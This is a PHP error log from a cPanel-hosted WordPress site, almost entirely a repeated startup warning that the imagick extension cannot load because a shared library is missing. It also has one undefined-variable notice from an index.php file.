[28-Aug-2026 08:33:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:44 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:44 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:45 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:45 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:46 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:46 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:49 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:50 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:50 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:55 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:58 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:33:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:10 America/Sao_Paulo] PHP Notice:  Undefined variable: ext in /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/index.php on line 1171
[28-Aug-2026 08:34:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:14 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:15 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:30 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:44 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:45 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:34:46 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
